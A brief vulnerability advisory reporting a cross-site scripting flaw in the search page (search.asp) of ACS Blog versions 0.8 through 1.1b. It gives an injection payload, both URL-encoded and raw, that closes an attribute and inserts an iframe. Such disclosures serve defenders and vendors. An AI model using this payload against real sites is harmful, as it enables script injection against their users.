XSS vulnerability exist in the ACS blog ( ASP WEBLOG SYSTEM ).

Vulnerable :

ACS Blog v 0.8
ACS Blog v 0.9
ACS Blog v 1.0
ACS Blog v 1.1b

Code :

/search.asp?search=%22%3Cbr%3E%3Ciframe+src%3D%22http%3A%2F%2Fgoogle.com%22%3E%3C%2Fiframe%3E

or goto /search.asp and copy this code :
"<br><iframe src="http://google.com"></iframe>

Vendor URL : http://www.asppress.com